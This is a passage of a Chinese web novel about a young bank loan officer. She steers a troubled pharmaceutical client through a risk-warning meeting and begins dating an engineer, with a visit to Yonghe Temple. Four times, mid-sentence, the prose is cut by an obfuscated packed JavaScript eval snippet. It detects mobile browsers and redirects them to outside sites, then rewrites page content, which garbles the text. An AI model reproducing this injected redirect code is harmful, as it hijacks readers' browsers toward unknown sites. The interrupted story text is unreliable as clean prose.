“说正事呢，而且最重要的一点，孙总最后说的话，明摆着就是，如果我们这次抽贷，等恒通缓过来，就要把我们列为拒绝来往户了。”秋水补充了一句。 “孙理这小子算的够精的。”叶允嗤笑一声，一脚油门踩下，超过前方的车，侧头看了眼秋水：“恒通在我们行有多少存款？” “恒通和我们签的是协定存款，我看一下现在的余额。“ 所谓协定存款，通俗来说，就是利率较高的活期存款，根据央行公布的利率，活期存款利率只有0.3%，有些公司收付款频繁，存定期不合适，但活期利息又特别低，因此协定存款应运而上，银行和公司约定一个利率，当活期存款账户余额超过一定金额后，存款按照协定利率计息，根据公司资质不同，约定的利率也不尽相同，秋水做过的最高一家公司，利率甚至达到2%，恒通在C银行的存款，也是同样的操作。 秋水就翻出工作手机，点进CRM系统，选择存款栏，查看恒通存款情况。 “现在账户里还有三千多万，往日里流水最多的时候达到了六千万。”很快看到想要的数据，秋水想叶允汇报。 “抽根烟，介意吗？” 得到不介意的回答后，叶允将车窗按下，从烟盒里抽出一支烟，沉默的吸了几口。 过了很久，车内无人说话，只见叶允指尖的红点明明灭灭。 “我们不退出。”一支烟抽完，叶允做出了决定。“但是，让恒通追加担保。” 叶允的决定在业内也是常态，谁也不能保证自己放出的每笔贷款都很安全，但是不是出现明显的不良信号，银行不会强硬要求提前还款，在出现风险苗头的时候，客户经理会要求客户追加担保，确保还款能力，降低贷款风险。 因此，秋水接受良好，眉目不动地接着往下问，“好的，以什么形式追加担保呢？母公司担保还是实际控制人的房产质押？或者恒通大楼质押？恒通不一定同意，追加担保对他们后期贷款影响太大了。” 恒通目前的贷款，担保方式全部都是信用，如果在秋水这里追加了担保，别的银行也会要求增加担保方式。 “都不，不以担保的名义操作，让他们追加存款，并且把存款转定期。” 这倒是没有想到，秋水目露诧异：“这，恒通会同意吗？一个亿的现金流很不少了。” “六千万，他们会愿意的。”叶允咬着烟解释：“现在的恒通，最重要的是稳住银行别抽贷，任意一家银行抽贷，别的银行都会跟上，这就不是一个亿两个亿的事情了，他们的现金流马上就会出问题，今天和孙总谈话，你也看出来了，别的行都没我们行谨慎，因此孙总一定会努力稳住我们这边，抽出几千万存个定期，又没让质押，4月份出年报的时候，报表也会很好看，应该没问题。” 说话间，已经回到银行网点。 “不过你也先别和恒通说，先用这个方案通过行里的预警会再说，你去准备准备，周五你和我一块儿去。” 13. 流动资金贷款7 很快，周五到了。 中午，秋水最后核对一遍报告里的数据，确认无误后，将报告和资料收拾好，装入包中，赶去了分行。 可能是快要放假的原因，道路较平常更为拥堵，在多花了半小时后，秋水终于到达目的地，一进大堂，看见叶允已经在沙发上等着了。 “来了？” “来了。” “喝杯咖啡，今天有信心吗？”叶允将提前准备好的咖啡递给秋水。 “我已经做到所有能做的了，剩下的就只能等行领导的决定。”秋水不是不紧张，但她已经尽了全力，如果结果真的不乐观，那也只能接受了。 “有这心态就行，走，咱们上去打探情报。”叶允一派轻松，好像这个会议和他没有任何关系一样。 说完，提起桌上的袋子，直奔电梯，秋水连忙拿上咖啡跟上。 叮。非上下班时间，电梯到来很快，没多久，就到达了风险管理部。 风险管理部门占据了大半层楼的位置，大开间里坐满了人。 叶允领着秋水，熟门熟路直往里走，直奔风险经理方向。 风险经理所在的位置，在整个部门的最内侧，和外面的座无虚席不同，这一片的工位没坐几个人。 秋水知道，这是有项目的风险经理都参加授信审查会了。 “田老师，您今天没项目？”叶允自来熟的开口。 “没有，今天特意没安排项目，把时间都空出来等你们。”田薇语气生硬地接话。 “恒通怎么就出这么大篓子了？”田薇工作也没几年，刚接触项目风险管理没多久，经手的项目就可能出现不良，心里自是不可能不忐忑的。 “给您添麻烦了。”叶允依旧笑容满面，好像没有听出田薇语气里的不愉快，把手里一直拎着的袋子递过去：“刚刚小秋买咖啡的时候，点了杯奶茶，田老师您喝两口。” 田薇瞧着叶允的笑容，慢慢伸手，接过奶茶，率先走了出去。 叶允和秋水对视一眼，跟了上去。 “说吧，你们想问什么。”见到奶茶，田薇就明白叶允是有话想单独和她沟通，进入休息室，一边插吸管一边询问。 “什么都瞒不过您。”被田薇拆穿，叶允也不见尴尬，“恒通的项目，劳您费心了，行领导现在都是什么态度？” 听见叶允的问题，田薇眉毛皱了起来，因为喝奶茶而放松的神情再次紧绷起来。 “不容乐观。” 田薇的话，就像外面灰蒙蒙的天气一样，给叶允和秋水心中蒙上了一层阴影。 “你们都知道，咱们行对于授信业余的核心原则是谨慎，可批可不批的业务，一定不批，恒通的新闻一出，行里领导特别重视，每天都在盯着实时进展。 咱们今年一整年，要召开预警会的项目不多，上了这个会，90%的项目都提前退出了。 形式比想象中严峻，秋水的心直往下沉。 “那，就真一点希望也没有吗？”没忍住，秋水插入谈话。 “这倒也不是。”出乎意料，田薇没有一口否认。 秋水倏地抬头，直视田薇。 默默思索片刻，田薇没绕圈子，“恒通的资质还是挺好的，前期也给我们银行创造了很多利润，这些因素领导都会考虑，你们不是提出追加担保措施吗？可以尝试看看。 行了，我知道的都说完了，谢谢你们的奶茶，我回去工作了，你们俩等我通知。” 田薇将手里的奶茶晃了晃，最后喝了一口，扔进垃圾桶，然后离开了休息室。 在休息室等了一个多小时，秋水来回翻看恒通的资料，将关键数据背的滚瓜烂熟，终于等到田微的开会通知。 预警会在同一层楼的小会议室召开。 推开门，秋水跟在叶允身后进去，只见行里重量级的领导一字排开，每个人脸上的神情都非常严肃。 秋水咽了咽口水，跟着叶允在对面落座。 不见寒暄，刚一坐下，负责风险管理的副行长，急忙让叶允汇报，叶允点头，侧过身子，看了眼秋水，轻轻说了句：“开始吧。” 秋水将准备好的报告拿出来，一一递给领导，清了清嗓子，开始汇报：“各位领导，恒通医药的情况是这样的……” “以上，就是恒通医药的报告。” 简明扼要将公司经营情况、财务状况、遇见问题的原因、应对策略汇报完毕，秋水合上报告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648760|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，等待质疑。 “报告里说，恒通的财务出现问题，主要是受医改的影响，那么，恒通医药的产品，在新版的药品目录里吗？”依然是分管风险的副行长率先发问。 “当然在，在目前已经公布的几个省份医保目录里，恒通的主打产品都在其中。”这个问题难不倒秋水，她早已做足功课。 一问一答多轮问答，每个领导将自己关心的问题问了出来。 都是秋水提前做过准备的问题，叶允也适时补充，二人一唱一和，对面行领导的脸色总算没有那么难看。 “你们的结论是，恒通医药值得投资，目前的舆论不会造成实质性风险，但是为了提高安全系数，通过企业存入定期存款的形式，规避风险？” 秋水和叶允对视一眼，同时点头。 “好的，你们的意见我们会认真考虑，今天就到这里，等我们讨论之后，下周一给你们反馈。”分行行长做总结发言。 终于结束了，走出会议室的一瞬间，秋水崩了一下午的神经终于放松，这才感受到，自己在这初冬的天气里，出了一身汗。 “这个会真够久的。”叶允抬起手腕，手表的指针已经到了6点，伸了个懒腰。 “是啊，也不知道恒通最后结果怎么样？”秋水忧心忡忡。 “别想工作了，赶紧下班，享受周末，我也去约会了。”说话间已经走到打卡机旁边，叶允不及待将领带扯散，打卡下班。 秋水哭笑不得的看着叶允的背影，同样打卡下班。 六点正好赶上写字楼另一家公司的下班时间，下来的电梯人满为患，秋水不着急走，拎着包考虑晚餐，等电梯经过好几次终于空下后，才不紧不慢走入。 慢慢悠悠晃出写字楼，冬天天黑的早，这个点天空只有一丝余光，路上的路灯已经亮了起来。 等电梯的时候，秋水就已经查找好附近口碑不错的晚餐店，跟着导航的指引，离开银行大门。 银行门口的招牌已经亮了起来，在灯光的照射下，秋水的面容格外清晰。 “秋水。” 没走几步，秋水听见陌生的声音叫自己的名字，循着声音都来源望过去，只见英俊的男生快速走向自己。 14. 心动 男生越走越近，五官越来越清晰，秋水终于认出来，这是曾经隐隐打动过自己的乌龙相亲对象! 秋水飞快算了算，从对方给自己发消息那天算起，她已经半个月没有和陆博有过联系了，繁忙的工作让她将陆博发过来的消息忘到九霄云外，自己更是没有时间主动联系对方。 “怎么时间过得这么快。” “他找我干什么，不会是算账吧。” “他长得好好看。” 秋水看似镇定的站在原地，内心已经闪过了无数弹幕。 “秋小姐，我是陆博，你还记得我吗？”离秋水一米远的地方，陆博停了下来。 “记得，当然记得。”秋水惊喜地抬起面孔，“叫我秋水就行。”纠正称呼后，她带着诧异询问“陆先生怎么在这里，来我们行办事吗？” “好的，秋水，你也不用这么客气，叫我陆博吧。” 对于秋水的疑问，陆博没有回答。 实际上，陆博也在思考，自己怎么就鬼迷心窍走到了这里。 虽然属于同一个区，但该区地域广阔，山海公司到C银行，距离不近，陆博挤着周五下班高峰期的地铁来找秋水，简直可以说一句真爱。 想找秋水这个念头一直存在，在没有收到秋水回复的日子里，陆博的心，就像被小勾子勾住了，空闲的时候总得打开通讯软件看看，也就是张鹏没有和他一块儿去山海公司，不然这种远超平时的手机使用频率，早就能让张鹏发现不对劲了。 等啊等，等啊等，一天复一天，一日复一日的等待，使陆博更加想看见秋水，陆博告诉自己，这是因为自己从没有被人放过鸽子，他的胜负欲被激起来了。 于是，这天结束课程，解答完工程师的疑惑后，陆博走到地铁站，没有按照往常的路线回家，反而坐上了鲜少踏足的地铁线。 要说陆博是怎么找到秋水的，其实是碰了点运气的，在没有见到秋水的日子里，陆博不经意间经常会想起和秋水的初见，在一次次的回忆中，每个细节被反复揣摩，秋水的公司，自然了然于心。 陆博将C银行的名字输入导航，搜出了挺多地址，思索片刻，他打开秋水的信息，个人信息显示位置在海淀，下班的时候毫不犹豫过来了。 还好赌对了，看见秋水身影的时刻，陆博暗想。 这真是命定的缘分，秋水平日里工作地点在金融街，平日里没重要事情不会来海淀这边，社交软件显示的所在地，还是刚进大学，注册软件的时候填的，自然就是海淀了。 此时的陆博还不知道这件事情。 从五点半等到快六点半，一个小时的时间，陆博反复思考，为什么自己会毫不迟疑地奔向一个不知对错的目的地。 在看见秋水的一瞬间，陆博的疑问有了答案。 出现在陆博视线中的秋水，是带着点狼狈的，上了一天的班，粉底斑驳，口红掉色，眼线晕开，神情疲惫，对陆博的笑，也带了点说不出的乏。 望着如此状态的秋水，陆博的心却在疯狂跳动，告诉他，眼前这个女孩是如此可爱。 这一瞬间，陆博明白了，什么有意思，什么好奇，什么胜负欲，都是自己骗自己的借口，在咖啡馆见到秋水的第一眼，他的心，就已经为这个女孩跳动。 “陆博？” 秋水的声音叫回了陆博的思绪。 “算是吧。”陆博含糊回答，不等秋水告别，马上说：“择日不如撞日，今天遇见也是有缘，咱们去吃个晚餐。” “好呀。”想到一直没有回复的消息，秋水多少有点心虚，连忙应允。 “太好了。”陆博蕴着浓浓笑意的双眼直直注视秋水，肉眼可见的高兴从身上溢了出来。 望着陆博俊朗的五官，秋水俏脸微红，刮过身边的冷风也变的温柔，再也不见凛冽。 “那走吧。”不等秋水反应，陆博率先离开。 “呃，好。”秋水打开手机的动作停滞一下，随即将某个美食点评软件关闭，跟上陆博。 秋水是典型南方人长相，瓜子脸，柳叶眉，含情目，身高自然也是南方人的平均身高。 陆博可能没有单独和女生压过马路，迈着大长腿，一步顶秋水两步，秋水连跑带跳才追上陆博的步伐，也没空想其他。 走了大概10分钟，终于到了目的地，是一家很有名的商场，附近商圈的核心，秋水原先的目的地也是这儿。 “到了。”陆博停下脚步，看着气喘吁吁的秋水，眉目间闪过诧异，想明白原因后，带着羞赧道歉。 “抱歉，之前没注意，下次不会这么快了。” 下次，还有下次。 秋水的重点完全跑偏，高高兴兴挥挥手：“没事，是我走的慢。” 陆博不明白面前的姑娘，怎么突然这么高兴，但聪明的没有继续这个话题。 “我对这边不熟，在网站上找了家评价很高的店，已经预约好号了。” 陆博的语气还是一如既往的冷静，丝毫没有借此邀功的意思。 “好呀，那快走吧，别过号了。”轻快地声音，完美展现了秋水的好心情。 陆博做的确实周到，周五晚上核心商圈，不提前预约，等座能等到地老天荒，看见这家商场的时候，秋水已经做好了排队两小时的心理准备了，没想到陆博的准备这么充足。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648761|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的地是五楼的一家网红日料店，只见等号区座无虚席。 “你在这里等等，我去看看叫到多少号了。”陆博贴心地让秋水在休息椅上等待，自己去和服务员沟通。 没多久，陆博就示意秋水过去。 “怎么了？” “正好到我们了。”陆博扬了扬手机，笑的很得意。 “我要这个、这个、这个…”拿到菜单，陆博熟练下单。 随之将菜单递给秋水：“看看还要加点什么吗？” 这家日料店秋水很熟悉，部门聚餐经常来这家，拿过菜单扫一眼，发现陆博将店里的招牌都点了，加了碗乌冬面，就将菜单递给陆博。 菜很快上齐。 刺身、天妇罗、松茸汤、寿司摆满桌子。 秋水直奔荞麦面而去，实在没有办法，下午的脑力消耗太大了，肚子早就在唱空城计了。 吃了两口热乎的主食，稍微缓解腹中饥饿，秋水才意识到，自上菜开始，陆博就再也没说过话。 秋水的动作越来越慢，后知后觉对面坐着的，不是加班后一块儿觅食的同事。 “怎么了，不合胃口吗？”一直关注着秋水的陆博，第一时间发现了秋水的动作。 秋水讪笑，“味道挺好的。” 心中哀嚎，平日里自己不说长袖善舞、八面玲珑，但还是能称道一句伶牙俐齿，见到陆博，真的是哪哪都不对劲，说话办事都笨拙了起来。 “那就太好了，我一直在担心，是不是来错了地方。”陆博笑得温柔。 陆博心里其实是拿不准的，尽管他智商很高，但和女生单独约会还是头一遭，选择这家店还是因为他在秋水状态里看到过。 “怎么会这么想？”秋水有点诧异。 “毕竟，”陆博视线转到基本没动过的食物上“很少见到来日料店只吃面条的。” 热意涌上脸颊，秋水瞪了一眼陆博：“我喜欢，不行呀。” 望着秋水毫无威慑力的瞪视，陆博闷闷笑了出来：“行，怎么不行，喜欢再多来点。” 反而是秋水感到过意不去，认真解释：“今天下午开了一个特别重要的会议，水都没来得及喝一口，能量消耗太多，实在是饿狠了。” “辛苦了，每天都这么忙吗？”陆博顺势发问。 “那倒也没有，主要是跟着项目走，最近不知道怎么回事，麻烦事都挤一块儿了，忙得厉害，他们都说我犯太岁了，让我去拜拜呢。” 秋水苦恼地回答。 “还是求个心安，正好我也想拜拜，那明天我们一块儿去吧。”陆博果断拍板，定下了下一次约会。 15. 雍和宫 怎么就这么应下来了呢？ 这个问题，直到第二天，秋水还是没有想明白。 周六的中午，地铁非常空旷，没多久，就到达了雍和宫大街。 雍和宫大街完整展现了老北京的风貌，一间一间四合院鳞次栉比，当街门脸开成各种小店。 沿着四合院的院墙慢慢向前，穿过店铺，摇手拒绝路边摆摊的香烛、鲜花、算命推销，终于到达了牌楼下。 远远地，已经瞧见站在“十地圆通”匾下的陆博，身姿颀长，意气飞扬，引得路过人士频频回头。 “来啦？”瞧见秋水的身影，陆博眼前一亮。 陆博说不出秋水的妆容打扮有什么变化，他只知道，明明是冬天，但看着眼前的姑娘，春天的气息铺面而来，似乎能看见桃花盛开。 “你已经到了呀，等很久了吧，冷不冷？”秋水有点懊恼自己没有提前出发，让对方在寒风中等待。 “不冷，我也没到多久。”陆博温和地说，随之从兜里掏出个东西，递给秋水。 “呀！你已经买好门票了啊。”秋水惊呼。 对于秋水而言，这是一个独特的体验，和朋友游玩时，从来都是自己安排，这是第一次，什么也没说，行程就已经安排好。 “之前没多少人排队，我就先去买好了。”对陆博而言，作为项目负责人，统筹安排是做惯了的事，因此他并不是很明白，秋水为何如此惊讶，但陆博聪明的没有问出来，和秋水并肩走向检票处。 越过“寰海尊清”牌楼，走过长长辇道，就到达昭泰门。 走近昭泰门，空气中隐约传来香火气息。 “进去吧！”说完，迈步向前，谁知道衣袖被轻轻扯住。 “怎么了？”秋水狐疑地看着扯住自己的手主人，不会到这里了，反悔不愿意进去了吧？ “你现在这里等等，我去领一下佛香。”陆博叹了口气，示意秋水别动，自己转身走向北边的法物流通处。 误会他了！ 秋水的脸因为羞窘变红，只能庆幸，没有把自己的想法说出来。 没多久，陆博就回来了，手里拿着两捆佛香，将其中一捆递给秋水。 “给，雍和宫谢绝自带香烛，每个人发放一份。” “原来香烛在这里领，谢谢呀。”秋水查到，为了大量燃香对环境污染、对人体危害、对文物损害，雍和宫特制了环保佛香，但是她在帝都待了那么多年，来雍和宫属实也是头一次，对于去哪里领佛香，一头雾水。 “这就是环保佛香啊！”手里的佛香比普通香细、短，味道轻。 “几年前新研制出来的，原材料是柏木粉、松木粉、榆木粉，这个香烧起来没有明火、烟也小。”见秋水对香好奇，陆博耐心解释。 “这么神奇！”秋水兴致更高，翻来覆去看着手里几根香，直到被路过的人撞了一下，才回神。 “之前没见过这样的香，一时好奇，多看了两眼，是不是耽误你时间了。”秋水讪讪解释。 “没关系，你玩的开心就好。”这种小事，陆博向来不在意，不过，眉眼间多少带着困惑：“你之前是没有来过吗？” “其实我是无神论者。”秋水吐吐舌头，调皮说道，之前说的来雍和宫拜拜，更多的是随口一提，并没有付诸行动的打算。 迅速明白了秋水的言下之意，懊恼的神色出现在陆博脸上，“抱歉，我应该问清楚的。” “没必要抱歉，”秋水笑意盈盈，“都说雍和宫特别准，我还要感谢你拉我过来，希望回去后一切都顺利。” “肯定顺利。”陆博点头，认真的神情，看着就令人信服。 “承你吉言。”说完，秋水走入昭泰门。 进入昭泰门，是一个四方的院落，钟鼓楼和碑亭矗立其中。 院落另一边，就是雍和门了。 越靠近雍和门，香火的味道更浓，迈过雍和门，只见一个大香炉摆在四体碑亭前，袅袅散着青烟。 可能是休息日，也可能是赶上了什么宗教节日，这一天来礼佛的人格外多，秋水也被身旁人庄重的神色感染，变得认真起来。 悄悄观察旁人的动作，抽出三支佛香，在长明灯里点燃，随即插入香炉之中。 随着人流，经过四体碑亭，就达到了主殿雍和殿。 红墙黄瓦的大殿，庄严肃穆，殿内三尊大佛结跏趺坐，分别是过去佛燃灯佛，现世佛释迦牟尼，未来佛如来佛，三尊佛俯视人间，嘴角带着神秘笑意，无悲无喜，左右两边侍立十八罗汉，怒目圆睁，不怒自威。 抽出三支清香，供奉在佛前的案几上，祈求一切顺利，参拜后起身，才发现陆博没在身边。 从逆着拥挤的人流挤出，只见陆博在殿外的铜牌前，饶有兴致看着上面的文物介绍。 “你在看什么？”秋水走到陆博身旁，同样将视线放在铜牌上。 “在看这个宫殿的介绍，还挺有意思的，这儿原来是雍正当王爷时候的府邸，所以规格和紫禁城一样，都是红墙黄瓦，乾隆登基后将这个王府改成的寺庙，你刚刚进去的是正殿银安殿。”陆博转述文字内容。 “这就是传说中四爷很忙的那个雍□□邸呀。”秋水吐槽了一句。 “抱歉？”陆博没太听懂，困惑发问。 陆博电视剧看得少，八卦新闻也不关心，下了班除了看论文，就是写文章，偶尔看看经典电影，对于秋水的话一头雾水。 “没什么，我说的是网上的一个段子。”秋水捂嘴笑了笑，“有一段时间电视里的清宫戏特别流行让雍正当主角，有网友说四爷很忙。” 望着秋水的笑脸，陆博想，回去得问问钱宁，小姑娘们都喜欢什么，不然以后都听不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648762|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方的话。 “不过这些都不重要。”秋水小手一会，转换话题，“我拜完了，你去吧，我等你。” “不用，你拜就好。”陆博轻轻说道，如果不是离得近，秋水都听不见他说了话。 听见这句话，秋水猛然回头，盯着陆博，“你不信这个是吗？” “还好。”陆博默默了鼻子：“我没有什么要求的，你拜吧，我陪你。” “我已经拜完了，要是你也不拜，那我们就走吧。”秋水的脸色冷了下来，向雍和门方向走过去。 不明白秋水为什么生气，陆博匆匆追上，拦住了秋水。 “咱们刚进来，怎么就要出去了？” 秋水一言不发望着陆博。 陆博心里飞快回想，为什么自己就说了那么一句话，秋水就这么生气。 环顾四周，正好看见院墙下空出了一排座椅，忙拉着秋水过去。 “先坐下，咱们谈谈？” 秋水顺着陆博的力道，在椅子上坐下。 “先说说，为什么突然生气了？”陆博从背包里掏出瓶矿泉水，拧开递给秋水。 喝了口水，秋水冷静下来，冷冷发问：“我记得你昨天说，你也有事要来雍和宫，所以我们才约好今天过来的。” 露馅了。 陆博丝毫不见慌张，对秋水笑了笑说道：“我确实没有什么要拜的，但我一直想找机会参观一下雍和宫。”语气认真，态度诚恳，如果不是手心的冷汗，陆博也会觉得自己一直想来参观。 秋水开始怀疑自己是不是想多了。 “真的？” “这么大规模的藏传佛教寺庙，堪称人间瑰宝，不值得专门参观吗？”陆博反问。 “走吧。”秋水站起身。 “去哪里？”陆博匆匆站起。 “你不是要参观吗？走吧，我陪你。”秋水的脸上再次露出笑容。 “不用，你专心拜佛，我慢慢看就成。”陆博本来就是为了陪秋水而来，并没有什么一定要参观的地方。 “我也拜完了，走吧”。 说完，秋水一马当先，走了进去，陆博摸摸鼻子跟上。 这一天，两人将雍和宫逛了个彻底，从雍和殿到绥成殿，从□□楼到万佛阁，见到了高三层的大佛，也见到了乾隆雕像，更是仔细观赏了藏传佛教艺术馆的艺术品，短暂的不愉快没有影响二人兴致，直到日落时分才离开。 共进晚餐后，走入地铁站，两人分开走向不同的地铁线，这才结束一天的约会，望着秋水的背影，陆博默默思索，是时候将买车提上日程了。 秋水到家的时候，陆博已经进入小汽车摇号系统，提交了摇号申请。 洗漱过后，秋水缩在被子里，掏出手机发消息：“今天很愉快，谢谢你的陪伴~” 随后陷入了甜甜的梦乡。 16. 故宫 快乐的时光总是短暂的，周末很快结束，新的一周已经来临。 没上几天班，秋水在刷新邮箱的时候，收到了风险管理部发过来的，题为：“关于恒通医药授信情况的决定”的邮件。 千万是好结果，千万是好结果。 秋水默默祈祷，紧张的点开邮件，查看内容。 可能雍和宫真的如传说中一般灵验，只见正文页面赫然写着： 秋水： 经商议，恒通医药授信额度维持不变，对放款条件进行修改，定期类存款金额不小于恒通申请提款金额的60%，且存款到期日不得早于贷款到期日，方可放款，放款后存款不得在贷款结清前支取。 恒通医药已提款一亿元，请和该公司沟通，尽快追加存款，确保定期类存款不低于六千万，谢谢。 风险管理部田薇 太好了！ 秋水跳了起来。 “怎么这么高兴？”很少见到秋水这么喜形于色，伊莱探身，认真地询问。 “恒通的预警会结果出来了。”秋水笑眯眯地回答。 “看你笑得那么开心，结果肯定不错吧。”伊莱也为秋水感到开心。 “这已经是我们预想中最好的结果了。”秋水激动的心情还没有平复。 小跑到伊莱面前，伸手给了伊莱一个大大的拥抱。 “太感谢你了，伊莱姐。” “这是怎么说呢？”伊莱也被秋水弄糊涂了，要知道，恒通这个项目，自己可一点儿也没插手。 “多谢你给我指了路呀，雍和宫确实很灵。”秋水喜笑颜开。 “你就贫吧。”听见是这个原因，伊莱噗嗤一声笑了出来，嫌弃地推开秋水：“行了，你忙去吧，要有什么需要我帮忙的，不用客气尽管说。” 秋水带着大大的笑容，走进休息室，迫不及待给叶允打电话，汇报这个好消息。 人逢喜事精神爽，遇见这样的好消息，连日阴霾的天气都被秋水看出了可爱之处。 给叶允的电话很快被接通，秋水精神饱满地复述。 “不错，秋水，这个项目做下来，除了不良催收，别的情况你都经历过了，可以独当一面了。”叶允在电话里逗着秋水。 “您就别寒碜我了，和您比我还差的远呢。”虽然目的不纯，但秋水这话说得的确诚心。 秋水人比较踏实，不打无准备的仗，工作交给她执行绝对让人放心，但是，和叶允这种成熟的客户经理比起来，缺了点魄力，就像这次恒通的危机，如果不是叶允在前面撑着，尽管她认为继续贷款是最优选，但最后肯定还是扛不住压力，让恒通提前还款。 “又给我灌迷魂汤了，说吧，要我做什么。”叶允一听就明白了秋水的小九九，直接发问。 “嘿嘿，叶哥，这不是我还没有和恒通那边沟通吗。”秋水笑得谄媚。 恒通那边，秋水隐约露过一些口风，但行内决定一日没出，一日不敢给对方准话。 “行，我知道了，后面的事情你就甭管了，我去和他们总监沟通。”听明白了秋水的意思，叶允一口应承，将后续事情接了下来。 这种变相追加担保，对银行和公司，都是大事，如果秋水去沟通，人微言轻不受重视，也不能直接联系上拍板人，反而耽误时间，叶允出面是最合适的。 轻快地走出会议室，秋水拿出手机，给在办公室的几个同事点了下午茶后，还是难掩自己的好心情，接着给陆博发了一条消息。 “你觉得X茶的奶茶味道怎么样呀？” 秋水发出消息的时候，陆博正准备前往车间。 刚到山海公司的时候，确实如王院士所说，以培训山海的工程师为主，在开了几堂讲座后，陆博发现效果不尽如人意。 他的这套技术，参考了前人的研究成果，但没有盲从，而是开创了一个新的体系。 能进山海公司的工程师，能力绝对不差，但面对这套从未接触过的理论，还是有点雾里看花的感觉，理解起来非常困难，大大影响听课效率。 发现这个问题后，陆博将问题及时反馈给了山海负责人，双方几经沟通，终于决定，直接上实操，先小规模试点生产，边生产边讲解，等没有问题后，再大规模生产。 这样的好处在于，工程师能结合实践进行有针对性的学习，及时发现问题，为后期的大规模生产打下基础。 不好的地方在于，陆博待在山海公司时间延长了。 对于这个结果，陆博接受良好，对他而言，能够切实看到自己的研究成果落地，也是很幸福的一件事。 走到车间，陆博才看见这条消息。 X茶，陆博倒也有印象，不多的逛商场经历里，不管哪家商场，每次都能见到大排长队。 对陆博这样效率至上的人而言，自然不会排这个队，所以虽然X茶这几年席卷帝都，他却没有尝过大热奶茶的味道。 “应该还行吧。”车间正在调试设备，还没有开始生产，工程师正在陆陆续续抵达。 陆博懒洋洋靠着墙壁，看着师傅手上的动作，轻点手机回复，嘴角噙着微笑，惹得经过的工程师频频回头。 陆博在工作的时候惯常严肃，从不和人插科打诨，很少有人看见他这么放松的样子。 收到陆博的回复，秋水毫不犹豫给他下单了网红款奶茶，看到预估送达时间正是下午茶时刻，继而又挑选两块小蛋糕，放入了购物车。 至于地址，这两天的交流，已经足够让双方交换基本信息了。 例如，陆博就已经知道，他之前信心满满赶过去的地方，完全不是秋水工作地点，这也能遇见，只能说是有缘了。 例如，秋水也已经知道，陆博在保密单位工作，由于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14648763|156588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某种原因，最近在山海公司工作。 秋水的工作地点在金融中心，更加繁荣，没多久奶茶就到了，拎着奶茶回到办公室，不意外迎来一片欢呼。 拿到奶茶的同事们，纷纷起身，前往休息室开起小差。 吐槽吐槽领导，闲聊闲聊八卦，再探讨探讨业务方向，休息室里成了欢快的海洋。 山海公司。 生产还是不顺，陆博的技术，在理论上完全可行，自己试做也没问题，但是真的进入车间流水线生产，总有些地方会出问题。 花了好几个小时时间，解决了这次遇见的问题，和工程师解释清楚问题产生的原因以及解决办法后，陆博略带疲累往办公区走。 路过前台，工作人员叫住了陆博：“陆工，刚刚有你的外卖，我给你放办公室了。” “好的，谢谢。”陆博礼貌颔首。 在隐晦打量的目光下走过。 推开办公室门，就见到桌上放着棕色纸袋，这大概就是前台说的外卖。 打开一看，里面是X茶的奶茶和蛋糕。 插上吸管，拿出叉子，美食很好地抚慰了紧张的神经。 吃了几口，掏出手机，发消息。 你也堕落了，陆博嘲笑自己。以前他觉得，吃东西就好好吃，边吃边玩像什么样子。 现在才知道，有些倾诉欲望，是一分钟也不想等的。 “奶茶收到了，很好喝。”秋水的手机震了一下，收到新的消息。 “好喝就好，之前你说不喜欢太甜的，特意选择的三分糖，蛋糕也是少糖的，怎么样，合你胃口吧。” 看着秋水立即回复的消息，陆博能够想象到对方狡黠的样子。 发了一个“给你点赞”的表情。 陆博以前从不用这些，和秋水聊天发现对方很爱用各种表情包表达情绪，赶紧找张鹏要了一些，为了这，还受了张鹏不少调侃。 秋水回了一个“害羞”的表情。 “今天心情很好？”陆博的消息继续。 “是呀，今天收到了一个特别好的消息，之前的努力有了好结果，真的超级开心。” 冷冰冰的文字也没能阻止喜悦从中溢出，秋水又发了一个转圈圈的表情。 “雍和宫真灵！”秋水第一百零一次感叹。 